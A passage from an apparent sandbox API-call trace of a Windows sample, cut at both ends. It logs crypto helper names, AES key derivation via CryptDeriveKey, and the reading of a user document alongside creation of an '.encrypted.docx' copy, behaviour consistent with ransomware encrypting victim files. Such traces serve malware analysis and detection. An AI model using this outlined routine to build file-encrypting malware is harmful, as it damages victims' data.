lpNewFilePointer=0x0) returned 1 [0024.805] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=4140) returned 1 [0024.805] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.805] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.805] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.805] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.805] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.805] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0024.805] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.805] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0024.805] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.805] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.805] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0024.805] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.805] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.805] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0024.805] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.805] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0024.805] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0024.805] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.805] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.805] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.806] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.806] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.806] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.806] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0024.806] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.806] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.806] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.806] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.806] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.806] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.806] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.806] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.806] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.806] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.806] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.806] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.806] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.806] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.806] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.806] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0024.806] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.806] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.806] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.806] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.806] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.806] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0024.806] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.807] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0024.807] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.808] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.808] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0024.808] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.808] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.808] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.808] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.808] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.808] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.808] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.808] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.808] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.808] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.808] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.809] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.809] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0024.809] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.809] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.809] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.809] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.809] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.809] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.809] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.810] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.810] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.810] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.810] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.810] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.810] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.810] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.810] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.810] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.810] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.810] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.811] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0024.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0xe8f417afa0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0024.811] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptCreateHash") returned 0x7ffe2a59e85c [0024.811] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0024.812] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.812] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.812] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.812] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.812] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0024.812] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.812] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.812] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.812] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.812] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.812] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b360, dwDataLen=0x20, dwFlags=0x1) returned 1 [0024.812] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.812] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.812] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.812] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.812] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.812] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.812] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.812] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.812] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0024.812] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.812] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.812] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.813] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.813] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.813] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.813] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0024.813] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.813] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0024.813] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.813] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.813] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.813] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.813] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.813] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.813] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0024.813] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.813] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.813] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.813] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\qhhai")) returned 0x10 [0024.814] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\OhQsVpUB.encrypted.docx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\qhhai\\ohqsvpub.encrypted.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.814] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.814] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.814] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.814] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.815] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0024.815] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0024.816] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x3e9c, lpOverlapped=0x0) returned 1 [0024.817] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0024.822] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.822] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.822] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.822] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0024.822] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.823] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.823] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0024.823] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.823] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0024.823] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.823] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, 